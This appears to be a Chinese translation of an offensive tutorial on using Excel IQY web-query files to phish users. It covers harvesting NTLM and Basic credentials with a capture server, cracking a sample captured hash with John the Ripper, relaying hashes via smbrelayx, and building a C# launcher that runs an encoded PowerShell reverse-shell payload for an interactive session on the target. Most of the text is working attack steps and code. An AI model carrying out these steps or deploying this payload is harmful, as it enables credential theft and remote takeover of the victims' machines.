很快Casey在其twitter上发布了一个简单的PoC
这确实很简单,但是对于有效钓鱼已经十分足够了。IQY文件可用于SMB中继攻击,接下来我们就来看看存在哪些攻击可能。
我创建了一个可用于生成IQY文件的PowerShell脚本,Out-WebQuery.ps1文件可在Nishang项目下的Client目录下找到,下面是使用演示:
PS C:/> . C:/nishang/Client/Out-WebQuery.ps1
对于监听器,使用Start-CaptureServer.ps1,这个脚本打开一个HTTP监听器,获取基本的日志并且将NTLM身份验证请求记录下来,这需要在攻击者机器上运行一个高权限的Shell。因为是明文凭证,我们需要选择AuthType Basic
LogFilePath C:/test/log.txt
目前我们第一步生成的IQY文件就可以通过Email附件或者其他什么方式发送给目标机器。无论如何,该文件默认通过MS Excel进行打开,接着用户会看到一个安全警告。
当单击开启之后,我们的目标会看到一个请求凭证的提示
当目标键入凭证之后(他们总是这么干),我们可以在监听器和日志中看到
使用John the ripper可以创建hashes上面捕获的hashes在hashes.txt文件中是以下格式(format)
nikhil::PFPTLAB:00000000000000000000000000000000060380250000000F:970170524E4B2A0D00000000020000000000000000000000:1122334455667788
并且
john --format=netntlm hashes.txt
同样我们也可以使用Inveigh (https://github.com/Kevin-Robertson/Inveigh)来捕获hashes,相对Start-CaptureServer 来说他的功能更丰富
你也可以使用IQY文件进行SMB中继攻击,IQY文件支持UNC路径。在以下情况,用户不需要输入其凭证:
C:/test/QueryData.iqy
不幸的是,这里没有PowerShell代码可用来中继hashes。我们从Impacket库中调用smbrelayx,接着我们从192.168.230.111捕获中继hashes,192.168.230.112是一个Windows7机器。
上面的 runps.exe是一个运行于PoweShell脚本的控制台程序,在目标机器上该文件名为powershell.exe,PowerShell脚本编码在Nishang项目的 Invoke-PowerShellTcpOneLine中
$DotnetCode = @" public class RunPowerShell { public static void Main(string[] args) { string cmdstring = "-e SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAY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FYAMgB1AEIARwA2AGsASgBCAFgAaABtAGYAdwBCAGcASABZAEsAaQBUAGIAZgBZAFIARgAyAE4ASgBzAGIANwBzAGcAWABIADEAcQBFAEkAZABQAHkAVQBOAGgAbABlAG0AVwBiAGQAYgBNAEIAWgBzADcANQBxAEoALwBUAGYAVQBUAHkAeAArAHQAZwBrAGgAcQAzAE0AVQBkAHoAMQBYAHoAMQBOAHIAUAA5AE4AZABIAGoATgArADgAYQBwAGYAOABkAE4AMQBqAG8AegBmADMALwAwAEIAJwApACkAKQApACwAIABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA=="; System.Diagnostics.Process.Start("powershell.exe",cmdstring); } } "@ Add-Type -TypeDefinition $DotnetCode -OutputType ConsoleApplication -OutputAssembly C:/test/runps.exe
当然,我相信还有更棒的方法从.Net调用PoweShell代码,但我们这里就不多加讨论了。
一旦目标打开IQY文件我们将获取:
一个交互的PoweShell会话。如果你愿意你可以十分轻松的将其升级为meterpreter会话。
请注意,目前有许多的方法执行上面的攻击。你可以看看《 10 places to stick your unc path 》
Out-WebQuery 以及 Start-CaptureServer可以到 https://github.com/samratashok/nishang 找到